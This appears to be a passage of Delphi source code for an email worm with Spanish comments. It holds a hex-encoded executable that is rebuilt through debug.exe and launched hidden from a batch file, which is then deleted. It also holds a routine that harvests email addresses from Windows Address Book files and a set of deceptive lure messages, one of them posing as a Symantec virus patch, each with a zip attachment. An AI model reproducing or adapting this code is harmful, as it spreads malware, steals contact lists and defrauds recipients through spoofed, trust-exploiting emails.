writeln(f,\'echo e 0DE0 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00>>msn\');
writeln(f,\'echo e 0DF0 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73>>msn\');
writeln(f,\'echo e 0E00 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8>>msn\');
writeln(f,\'echo e 0E10 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5>>msn\');
writeln(f,\'echo e 0E20 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75>>msn\');
writeln(f,\'echo e 0E30 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75>>msn\');
writeln(f,\'echo e 0E40 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09>>msn\');
writeln(f,\'echo e 0E50 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3>>msn\');
writeln(f,\'echo e 0E60 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42>>msn\');
writeln(f,\'echo e 0E70 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2>>msn\');
writeln(f,\'echo e 0E80 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF>>msn\');
writeln(f,\'echo e 0E90 FF FF 5E 89 F7 B9 05 00 00 00 8A 07 47 2C E8 3C>>msn\');
writeln(f,\'echo e 0EA0 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8>>msn\');
writeln(f,\'echo e 0EB0 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83>>msn\');
writeln(f,\'echo e 0EC0 C7 05 89 D8 E2 D9 8D BE 00 40 00 00 8B 07 09 C0>>msn\');
writeln(f,\'echo e 0ED0 74 45 8B 5F 04 8D 84 30 B0 68 00 00 01 F3 50 83>>msn\');
writeln(f,\'echo e 0EE0 C7 08 FF 96 EC 68 00 00 95 8A 07 47 08 C0 74 DC>>msn\');
writeln(f,\'echo e 0EF0 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55>>msn\');
writeln(f,\'echo e 0F00 FF 96 F0 68 00 00 09 C0 74 07 89 03 83 C3 04 EB>>msn\');
writeln(f,\'echo e 0F10 D8 FF 96 F4 68 00 00 61 E9 5F A8 FF FF 00 00 00>>msn\');
writeln(f,\'echo e 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1100 00 00 00 00 52 3B BA 41 1C 00 00 00 00 00 03 00>>msn\');
writeln(f,\'echo e 1110 03 00 00 00 28 00 00 80 0E 00 00 00 C8 00 00 80>>msn\');
writeln(f,\'echo e 1120 10 00 00 00 08 01 00 80 00 00 00 00 52 3B BA 41>>msn\');
writeln(f,\'echo e 1130 1C 00 00 00 00 00 03 00 31 75 00 00 50 00 00 80>>msn\');
writeln(f,\'echo e 1140 32 75 00 00 78 00 00 80 33 75 00 00 A0 00 00 80>>msn\');
writeln(f,\'echo e 1150 00 00 00 00 52 3B BA 41 1C 00 00 00 00 00 01 00>>msn\');
writeln(f,\'echo e 1160 00 00 00 00 68 00 00 00 4C 71 00 00 30 01 00 00>>msn\');
writeln(f,\'echo e 1170 B0 04 00 00 00 00 00 00 00 00 00 00 52 3B BA 41>>msn\');
writeln(f,\'echo e 1180 1C 00 00 00 00 00 01 00 00 00 00 00 90 00 00 00>>msn\');
writeln(f,\'echo e 1190 80 72 00 00 E8 02 00 00 B0 04 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 11A0 00 00 00 00 52 3B BA 41 1C 00 00 00 00 00 01 00>>msn\');
writeln(f,\'echo e 11B0 00 00 00 00 B8 00 00 00 6C 75 00 00 28 01 00 00>>msn\');
writeln(f,\'echo e 11C0 B0 04 00 00 00 00 00 00 00 00 00 00 52 3B BA 41>>msn\');
writeln(f,\'echo e 11D0 1C 00 00 00 00 00 01 00 01 00 00 00 E0 00 00 80>>msn\');
writeln(f,\'echo e 11E0 00 00 00 00 52 3B BA 41 1C 00 00 00 00 00 01 00>>msn\');
writeln(f,\'echo e 11F0 00 00 00 00 F8 00 00 00 98 76 00 00 30 00 00 00>>msn\');
writeln(f,\'echo e 1200 B0 04 00 00 00 00 00 00 00 00 00 00 52 3B BA 41>>msn\');
writeln(f,\'echo e 1210 1C 00 00 00 00 00 01 00 01 00 00 00 20 01 00 80>>msn\');
writeln(f,\'echo e 1220 00 00 00 00 52 3B BA 41 1C 00 00 00 00 00 01 00>>msn\');
writeln(f,\'echo e 1230 0A 0C 00 00 38 01 00 00 CC 76 00 00 E4 01 00 00>>msn\');
writeln(f,\'echo e 1240 B0 04 00 00 00 00 00 00 74 47 00 00 28 00 00 00>>msn\');
writeln(f,\'echo e 1250 20 00 00 00 40 00 00 00 01 00 01 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1260 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1270 00 00 00 00 00 00 00 00 FF FF FF 00 FF FF FF FF>>msn\');
writeln(f,\'echo e 1280 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1290 FF FF C1 FF FF FC 3C 7F FF C3 FC 1F F8 3F FC 07>>msn\');
writeln(f,\'echo e 12A0 FB FF FC 1F FB FF FC 7F FB FF FD FF FB FF FD FF>>msn\');
writeln(f,\'echo e 12B0 FB FF FD FF FB FF FD FF FB FF FD FF FB FF FD FF>>msn\');
writeln(f,\'echo e 12C0 FB FF FD FF FB FF FD FF FB FF C1 FF FB FC 3D FF>>msn\');
writeln(f,\'echo e 12D0 FB C3 C1 FF F8 3C 3F FF FB C3 FF FF F8 3F FF FF>>msn\');
writeln(f,\'echo e 12E0 FB FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 12F0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1300 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1310 FF FF C1 FF FF FC 00 7F FF C0 00 1F F8 00 00 07>>msn\');
writeln(f,\'echo e 1320 F8 00 00 1F F8 00 00 7F F8 00 01 FF F8 00 01 FF>>msn\');
writeln(f,\'echo e 1330 F8 00 01 FF F8 00 01 FF F8 00 01 FF F8 00 01 FF>>msn\');
writeln(f,\'echo e 1340 F8 00 01 FF F8 00 01 FF F8 00 01 FF F8 00 01 FF>>msn\');
writeln(f,\'echo e 1350 F8 00 01 FF F8 00 3F FF F8 03 FF FF F8 3F FF FF>>msn\');
writeln(f,\'echo e 1360 FB FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1370 FF FF FF FF FF FF FF FF FF FF FF FF 8C 44 00 00>>msn\');
writeln(f,\'echo e 1380 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00>>msn\');
writeln(f,\'echo e 1390 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 13A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00>>msn\');
writeln(f,\'echo e 13B0 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00>>msn\');
writeln(f,\'echo e 13C0 80 80 00 00 80 80 80 00 C0 C0 C0 00 00 00 FF 00>>msn\');
writeln(f,\'echo e 13D0 00 FF 00 00 00 FF FF 00 FF 00 00 00 FF 00 FF 00>>msn\');
writeln(f,\'echo e 13E0 FF FF 00 00 FF FF FF 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 13F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1450 00 8F FF 07 70 00 00 00 00 00 00 00 00 00 00 8F>>msn\');
writeln(f,\'echo e 1460 FF FF FF 07 77 70 00 00 00 00 00 00 08 FF FF FF>>msn\');
writeln(f,\'echo e 1470 FF FF FF 07 77 77 70 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1480 FF FF FF 07 77 70 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1490 FF FF FF 07 70 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 14A0 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 14B0 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 14C0 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 14D0 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 14E0 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 14F0 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1500 FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1510 FF 88 88 00 00 00 00 00 00 00 00 FF FF FF FF 88>>msn\');
writeln(f,\'echo e 1520 88 00 00 00 00 00 00 00 00 00 00 FF FF 88 88 00>>msn\');
writeln(f,\'echo e 1530 00 EE EE 00 00 00 00 00 00 00 00 88 88 00 00 EE>>msn\');
writeln(f,\'echo e 1540 EE 00 00 00 00 00 00 00 00 00 00 00 00 EE EE 00>>msn\');
writeln(f,\'echo e 1550 00 00 00 00 00 00 00 00 00 00 00 EE EE 00 00 00>>msn\');
writeln(f,\'echo e 1560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 15A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 15B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 15C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 15D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 15E0 00 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 15F0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF C1 FF>>msn\');
writeln(f,\'echo e 1600 FF FC 00 7F FF 80 00 1F F8 00 00 07 F8 00 00 1F>>msn\');
writeln(f,\'echo e 1610 F8 00 00 7F F8 00 01 FF F8 00 01 FF F8 00 01 FF>>msn\');
writeln(f,\'echo e 1620 F8 00 01 FF F8 00 01 FF F8 00 01 FF F8 00 01 FF>>msn\');
writeln(f,\'echo e 1630 F8 00 01 FF F8 00 01 FF F8 00 01 FF F8 00 01 FF>>msn\');
writeln(f,\'echo e 1640 F8 00 3F FF F8 03 FF FF F8 3F FF FF FB FF FF FF>>msn\');
writeln(f,\'echo e 1650 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF>>msn\');
writeln(f,\'echo e 1660 FF FF FF FF FF FF FF FF 64 43 00 00 28 00 00 00>>msn\');
writeln(f,\'echo e 1670 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1680 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1690 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00>>msn\');
writeln(f,\'echo e 16A0 00 80 80 00 80 00 00 00 80 00 80 00 80 80 00 00>>msn\');
writeln(f,\'echo e 16B0 80 80 80 00 C0 C0 C0 00 00 00 FF 00 00 FF 00 00>>msn\');
writeln(f,\'echo e 16C0 00 FF FF 00 FF 00 00 00 FF 00 FF 00 FF FF 00 00>>msn\');
writeln(f,\'echo e 16D0 FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 16E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 16F0 08 F0 77 00 00 00 08 FF FF F0 77 70 00 0F FF FF>>msn\');
writeln(f,\'echo e 1700 FF F0 70 00 00 0F FF FF FF F0 00 00 00 0F FF FF>>msn\');
writeln(f,\'echo e 1710 FF F0 00 00 00 0F FF FF 80 00 00 00 00 0F 80 00>>msn\');
writeln(f,\'echo e 1720 0E E0 00 00 00 00 0E EE E0 00 00 00 00 0E E0 00>>msn\');
writeln(f,\'echo e 1730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1750 00 00 00 00 FF FF 00 00 FF FF 00 00 FF 8F 00 00>>msn\');
writeln(f,\'echo e 1760 F8 03 00 00 C0 01 00 00 C0 07 00 00 C0 0F 00 00>>msn\');
writeln(f,\'echo e 1770 C0 0F 00 00 C0 0F 00 00 C0 0F 00 00 C0 0F 00 00>>msn\');
writeln(f,\'echo e 1780 C0 7F 00 00 C7 FF 00 00 FF FF 00 00 FF FF 00 00>>msn\');
writeln(f,\'echo e 1790 FF FF 00 00 34 43 00 00 00 00 01 00 03 00 20 20>>msn\');
writeln(f,\'echo e 17A0 02 00 01 00 01 00 30 01 00 00 31 75 20 20 10 00>>msn\');
writeln(f,\'echo e 17B0 01 00 04 00 E8 02 00 00 32 75 10 10 10 00 01 00>>msn\');
writeln(f,\'echo e 17C0 04 00 28 01 00 00 33 75 50 41 00 00 E4 01 34 00>>msn\');
writeln(f,\'echo e 17D0 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00>>msn\');
writeln(f,\'echo e 17E0 49 00 4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00>>msn\');
writeln(f,\'echo e 17F0 00 00 00 00 BD 04 EF FE 00 00 01 00 00 00 01 00>>msn\');
writeln(f,\'echo e 1800 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1810 00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1820 00 00 00 00 00 00 00 00 44 00 00 00 00 00 56 00>>msn\');
writeln(f,\'echo e 1830 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00>>msn\');
writeln(f,\'echo e 1840 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00>>msn\');
writeln(f,\'echo e 1850 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00>>msn\');
writeln(f,\'echo e 1860 6F 00 6E 00 00 00 00 00 0A 0C B0 04 44 01 00 00>>msn\');
writeln(f,\'echo e 1870 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00>>msn\');
writeln(f,\'echo e 1880 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00>>msn\');
writeln(f,\'echo e 1890 20 01 00 00 01 00 30 00 43 00 30 00 41 00 30 00>>msn\');
writeln(f,\'echo e 18A0 34 00 42 00 30 00 00 00 34 00 14 00 01 00 50 00>>msn\');
writeln(f,\'echo e 18B0 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00>>msn\');
writeln(f,\'echo e 18C0 6D 00 65 00 00 00 00 00 50 00 72 00 6F 00 79 00>>msn\');
writeln(f,\'echo e 18D0 65 00 63 00 74 00 6F 00 31 00 00 00 2C 00 0A 00>>msn\');
writeln(f,\'echo e 18E0 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00>>msn\');
writeln(f,\'echo e 18F0 73 00 69 00 6F 00 6E 00 00 00 00 00 31 00 2E 00>>msn\');
writeln(f,\'echo e 1900 30 00 30 00 00 00 00 00 30 00 0A 00 01 00 50 00>>msn\');
writeln(f,\'echo e 1910 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00>>msn\');
writeln(f,\'echo e 1920 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2E 00>>msn\');
writeln(f,\'echo e 1930 30 00 30 00 00 00 00 00 34 00 14 00 01 00 49 00>>msn\');
writeln(f,\'echo e 1940 6E 00 74 00 65 00 72 00 6E 00 61 00 6C 00 4E 00>>msn\');
writeln(f,\'echo e 1950 61 00 6D 00 65 00 00 00 50 00 72 00 6F 00 79 00>>msn\');
writeln(f,\'echo e 1960 65 00 63 00 74 00 6F 00 31 00 00 00 44 00 1C 00>>msn\');
writeln(f,\'echo e 1970 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00>>msn\');
writeln(f,\'echo e 1980 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00>>msn\');
writeln(f,\'echo e 1990 65 00 00 00 50 00 72 00 6F 00 79 00 65 00 63 00>>msn\');
writeln(f,\'echo e 19A0 74 00 6F 00 31 00 2E 00 65 00 78 00 65 00 00 00>>msn\');
writeln(f,\'echo e 19B0 00 00 00 00 00 00 00 00 00 00 00 00 04 79 00 00>>msn\');
writeln(f,\'echo e 19C0 EC 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 19D0 11 79 00 00 FC 78 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 19E0 00 00 00 00 00 00 00 00 00 00 00 00 1E 79 00 00>>msn\');
writeln(f,\'echo e 19F0 2C 79 00 00 3C 79 00 00 00 00 00 00 64 00 00 80>>msn\');
writeln(f,\'echo e 1A00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C>>msn\');
writeln(f,\'echo e 1A10 00 4D 53 56 42 56 4D 36 30 2E 44 4C 4C 00 00 00>>msn\');
writeln(f,\'echo e 1A20 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65>>msn\');
writeln(f,\'echo e 1A30 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 45 78>>msn\');
writeln(f,\'echo e 1A40 69 74 50 72 6F 63 65 73 73 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1A60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>msn\');
writeln(f,\'echo e 1B00 00>>msn\');
writeln(f,\'echo rcx>>msn\');
writeln(f,\'echo 1A00>>msn\');
writeln(f,\'echo nc:\\msn.scr>>msn\');
writeln(f,\'echo w>>msn\');
writeln(f,\'echo q>>msn\');
writeln(f,\'debug < msn\');
//*** Esto es para que se ejecute el archivo sacado ***
writeln(f,\'@start C:\\msn.Scr\');
//*****************************************************
closefile(f);
sleep(5000);
WinExec(\'Cmd.exe /c c:\\msn.bat\',SW_HIDE);
WinExec(\'Command.com c:\\msn.bat\',SW_HIDE);
sleep(20000);
deletefile(\'c:\\msn.bat\');
}
end;
procedure crearzip;
var
fil:file;
x:integer;
size:longint;
LozkBuffer1:Array[1..10] of char;
bytecount:integer;
const
head : ARRAY [1..10] OF Byte = ($50,$4B,$03,$04,$0A,$00,$00,$00,$00,$00);
begin
//FileMode:=2;
//{$I-}
//AssignFile(fil,\'c:\\pico.zip\');
//rewrite(fil,1);
//CloseFile(fil);
//{$I+}
//X := IOResult;
//FileMode:=2;
//if X <> 0 then exit; //If the file doesnt exists then exit...
//reset(fil,1); //Open the file in binary mode...
//BlockWrite(fil,head,10);
//closefile(fil);
AssignFile(fil,\'c:\\zip.exe\');
reset(fil,1); //Open the file..
Seek(fil,FileSize(fil)-FileSize(fil));
BlockRead(fil,LozkBuffer1,SizeOf(LozkBuffer1),ByteCount);
closefile(fil);
end;
procedure enviomail;
PROCEDURE ReadWAB(WABFile:STRING);
function UpperCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= \'a\') and (Ch <= \'z\') then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
VAR
F : FILE;
I : longWord;
S : STRING;
N : ARRAY[1..5] OF Char;
Buf : ARRAY[1..500] OF Char;
R : TextFile;
BEGIN
AssignFile(R,pathwindows+\'\\Emails.txt\');
If not fileexists(Pchar(pathwindows+\'\\Emails.txt\')) then
begin
ReWrite(R);
end
else
begin
Append(R);
end;
AssignFile(F,WABFile);
{$I-}
Reset(F,1);
IF IOResult=0 THEN BEGIN
REPEAT
BlockRead(F,N,2);
IF N[1]+N[2]=#03#48 THEN BEGIN
BlockRead(F,Buf,Ord(N[2])+30);
S:=\'\';
FOR I:=1 TO Ord(N[2])+30 DO S:=S+Buf[I];
Delete(S,1,3);
I:=Pos(#00#00#00,S);
IF I>0 THEN SetLength(S,I-1);
FOR I:=1 TO Ord(N[2]) DO IF S[I]=#00 THEN Delete(S,I,1);
FOR I:=1 TO Length(S) DO
IF S[I]<chr(45) THEN BEGIN
SetLength(S,I-1);
Break;
END;
IF (Pos(\'@\',S)>0)AND(Pos(\'.\',S)>0) THEN writeln(r,UpperCase(S));
END ELSE Seek(F,FilePos(F)-1);
UNTIL FileSize(F)-FilePos(F)<6;
CloseFile(F);
END;
CloseFile(R);
{$I+}
END;
var
k:integer;
parametros:string;
Subject:array [0..36] of String;{asunto}
Body :array [0..36] of String;{cuerpo}
From :String; {Quien envia}
Recip :array [0..36] of String;{recipiente}
Attach :array [0..36] of String;{adjunto}
Quien:string;
Aquien:string;
ruta:string;
nada:string;
accion,accion1:string;
ran:integer;
begin
ruta:=\'c:\\My Downloads\';
{$I-}
mkdir(ruta);
{$I+}
if IOResult = 0 then
begin
nada:=nada
end
else
begin
nada:=nada;
end;
Subject[0]:=\'Carta Astral\';
Body [0]:=\'Conoce tu compatibilidad amorosa con los demas signos del sodiaco\';
From :=Quien;
Recip [0]:=Aquien;
Attach [0]:=ruta+\'\\Carta_astral.zip\';
Subject[1]:=\'Informe de nuevo !! Virus !!\';
Body [1]:=\'Te recomendamos buscar en tu disco el siguiente archivo (Kernel32.dll o Mpr.dll) si encuentras alguno de ellos
te recomendamos que bajes el parche incluido en este mail y nos reportes a www.symantec.com gracias\';
From :=\'soporte@symantec.com\';
Recip [1]:=Aquien;
Attach [1]:=ruta+\'\\KH002887_patch.zip\';
Subject[2]:=\'Informacion sobre variante del virus Blaster\';
Body [2]:=\'Te envio este parche a mi me ha servido para escanear y sacar de mi disco el peligroso virus win32.Blaster
comentame si te ha servido\';
From :=Quien;
Recip [2]:=Aquien;
Attach [2]:=ruta+\'\\AntiBlaster.zip\';
Subject[3]:=\'Recuerdas el virus I Love You?\';
Body [3]:=\'Aca te envio la informacion para que veas de que forma funcionaba...\';
From :=Quien;
Recip [3]:=Aquien;
Attach [3]:=ruta+\'\\ILoveYou_Source.zip\';
Subject[4]:=\'Te interesa interpretar los sueños???\';
Body [4]:=\'Aca esta mi guia completa para la interpretacion de sueños\';
From :=Quien;
Recip [4]:=Aquien;
Attach [4]:=ruta+\'\\Guia_de_Sueños.zip\';
Subject[5]:=\'Solo queria decirle que te amo, espero que recibas este correo\';
Body [5]:=\'Te amo relamente respondeme porfavor\';
From :=Quien;
Recip [5]:=Aquien;
Attach [5]:=ruta+\'\\Carta.zip\';
Subject[6]:=\'Programa anti spam\';
Body [6]:=\'Instala este programa en tu disco y veras como cambiara realmente la forma en la que navegas por internet\';
From :=Quien;
Recip [6]:=Aquien;
Attach [6]:=ruta+\'\\AntiSpySoft.zip\';
Subject[7]:=\'Bin Laden\';
Body [7]:=\'Ya se acabo la fiebre de Osama, reviza la verdadera historia de Osama y Bush veras que todo es una mierda\';
From :=Quien;
Recip [7]:=Aquien;
Attach [7]:=ruta+\'\\Historia_Osama.zip\';
Subject[8]:=\'Encuesta\';
Body [8]:=\'Que uso le das a internet???\';
From :=Quien;
Recip [8]:=Aquien;
Attach [8]:=ruta+\'\\Encuesta.zip\';
Subject[9]:=\'Se cierra Messenger es cierto!!!!\';
Body [9]:=\'Reenvia este mail a todos tus contactos de msn para llevar un registro de los usuarios reales del sistema\';
From :=Quien;
Recip [9]:=Aquien;
Attach [9]:=ruta+\'\\cierran_msn.zip\';
Subject[10]:=\'Bill Gates\';
Body [10]:=\'si el comparte su fortuna con el mundo\';
From :=Quien;
Recip [10]:=Aquien;
Attach [10]:=ruta+\'\\toma_tu_fortuna.zip\';
Subject[11]:=\'Reglas de Oro para complacer a una mujer\';
Body [11]:=\'Esta guia te ayudara a entenderlas y complacerlas....(recomendado)\';
From :=Quien;
Recip [11]:=Aquien;
Attach [11]:=ruta+\'\\reglas_de_oro.zip\';
Subject[12]:=\'No se\';
Body [12]:=\'No se porque escribo solo queria saludarte\';
From :=Quien;
Recip [12]:=Aquien;
Attach [12]:=ruta+\'\\Saludo.zip\';
